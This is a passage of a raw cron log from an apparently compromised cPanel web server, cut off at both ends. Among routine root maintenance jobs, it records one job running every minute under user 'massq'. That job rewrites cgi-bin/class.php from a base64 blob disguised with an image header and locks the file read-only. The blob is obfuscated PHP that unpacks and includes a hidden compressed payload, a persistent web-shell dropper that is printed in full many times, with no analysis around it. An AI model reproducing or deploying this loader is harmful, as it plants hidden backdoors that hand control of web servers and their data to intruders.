7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:25:01 server CROND[9499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:26:01 server CROND[9622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:27:01 server CROND[9681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:27:01 server CROND[9682]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 02:28:01 server CROND[9737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:29:01 server CROND[9943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:30:01 server CROND[10013]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:30:01 server CROND[10012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:30:01 server CROND[10014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 02:30:01 server CROND[10015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:31:01 server CROND[10130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:32:01 server CROND[10188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:33:01 server CROND[10258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:34:01 server CROND[10387]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:35:01 server CROND[10621]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 02:35:01 server CROND[10624]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 02:35:01 server CROND[10625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 02:35:01 server CROND[10630]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 02:35:01 server CROND[10629]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:36:01 server CROND[10772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:37:01 server CROND[10830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:38:01 server CROND[10898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 02:39:01 server CROND[10962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9J